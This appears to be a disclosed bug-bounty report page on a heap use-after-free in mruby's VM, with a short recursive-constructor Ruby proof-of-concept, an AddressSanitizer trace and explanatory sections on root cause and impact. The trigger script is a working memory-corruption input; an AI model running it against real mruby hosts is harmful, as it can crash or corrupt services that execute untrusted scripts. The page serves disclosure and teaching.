Skip to content
Memory corruption Disclosed report Advanced

heap use-after-free in mrb_vm_exec()

A short Ruby script that defines a class whose constructor calls itself recursively causes mruby's virtual machine to write to a stack buffer that has already been freed. An attacker who can run Ruby code on the interpreter could trigger a heap use-after-free, which the ASAN trace shows as a write of 12 bytes into freed memory.

mg36 Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 6 days
  • Paid in 14 days
  • Disclosed after 46 days

The code bellow triggers a heap use-after-free vulnerability:

class M
def M.new(r)
    super
    new(0)
    end
end
M.new(0)

ASAN report :

=================================================================
==25617==ERROR: AddressSanitizer: heap-use-after-free on address 0xf4103e50 at pc 0x080f7231 bp 0xffc69ab8 sp 0xffc69690
WRITE of size 12 at 0xf4103e50 thread T0
    #0 0x80f7230 in __asan_memcpy (/home/simo/mruby/bin/mruby+0x80f7230)
    #1 0x822b8c3 in mrb_vm_exec /home/simo/mruby/src/vm.c:1454:28
    #2 0x824be7e in mrb_vm_run /home/simo/mruby/src/vm.c:823:10
    #3 0x824be7e in mrb_top_run /home/simo/mruby/src/vm.c:2614
    #4 0x83d1ebe in mrb_load_exec /home/simo/mruby/mrbgems/mruby-compiler/core/parse.y:5760:7
    #5 0x83d2ebe in mrb_load_file_cxt /home/simo/mruby/mrbgems/mruby-compiler/core/parse.y:5769:10
    #6 0x813af56 in main /home/simo/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227:11
    #7 0xf7497636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #8 0x806613b in _start (/home/simo/mruby/bin/mruby+0x806613b)

0xf4103e50 is located 1488 bytes inside of 1536-byte region [0xf4103880,0xf4103e80)
freed by thread T0 here:
    #0 0x810ffe3 in realloc (/home/simo/mruby/bin/mruby+0x810ffe3)
    #1 0x82b23ea in mrb_default_allocf /home/simo/mruby/src/state.c:60:12
    #2 0x8211af5 in stack_extend_alloc /home/simo/mruby/src/vm.c:161:33
    #3 0x8211af5 in stack_extend /home/simo/mruby/src/vm.c:181
    #4 0x820efe6 in mrb_funcall_with_block /home/simo/mruby/src/vm.c:423:7
    #5 0x81ac297 in mrb_instance_new /home/simo/mruby/src/class.c:1415:3
    #6 0x822b8a5 in mrb_vm_exec /home/simo/mruby/src/vm.c:1454:28
    #7 0x824be7e in mrb_vm_run /home/simo/mruby/src/vm.c:823:10
    #8 0x824be7e in mrb_top_run /home/simo/mruby/src/vm.c:2614
    #9 0x83d1ebe in mrb_load_exec /home/simo/mruby/mrbgems/mruby-compiler/core/parse.y:5760:7
    #10 0x83d2ebe in mrb_load_file_cxt /home/simo/mruby/mrbgems/mruby-compiler/core/parse.y:5769:10

previously allocated by thread T0 here:
    #0 0x810ffe3 in realloc (/home/simo/mruby/bin/mruby+0x810ffe3)
    #1 0x82b23ea in mrb_default_allocf /home/simo/mruby/src/state.c:60:12
    #2 0x815c6d5 in mrb_malloc /home/simo/mruby/src/gc.c:236:10
    #3 0x815c6d5 in mrb_calloc /home/simo/mruby/src/gc.c:254
    #4 0x820e201 in mrb_funcall_with_block /home/simo/mruby/src/vm.c:354:13
    #5 0x820d26b in mrb_funcall_argv /home/simo/mruby/src/vm.c:461:10
    #6 0x81ac84a in mrb_obj_new /home/simo/mruby/src/class.c:1429:5
    #7 0x844fa8b in mrb_exc_new_str /home/simo/mruby/src/error.c:32:10
    #8 0x844fa8b in mrb_init_exception /home/simo/mruby/src/error.c:553
    #9 0x845c727 in mrb_init_core /home/simo/mruby/src/init.c:41:3

SUMMARY: AddressSanitizer: heap-use-after-free (/home/simo/mruby/bin/mruby+0x80f7230) in __asan_memcpy
Shadow bytes around the buggy address:
  0x3e820770: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x3e820780: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x3e820790: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x3e8207a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x3e8207b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x3e8207c0: fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd
  0x3e8207d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e8207e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e8207f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e820800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e820810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==25617==ABORTING

Thanks

The original report as published on HackerOne, by mg36. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the VM keeps a pointer to the stack buffer across a call that can extend (reallocate) the stack, so after stack_extend frees the old buffer the VM still writes through the stale pointer.

Impact

The interpreter writes into freed heap memory, which could crash it or, depending on heap layout, corrupt memory; the report only demonstrates the crash under ASAN.

What the attacker needed

Ability to run Ruby code in mruby

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

mruby is a small Ruby interpreter. When a program creates an object, the interpreter keeps its working memory (the 'stack') in a heap buffer that can be resized. Here a constructor calls itself over and over, and during that recursion the buffer is resized and the old copy is freed, but the interpreter keeps writing into the old location. That is a use-after-free: using memory after it has been handed back.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by mg36

View all

5 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.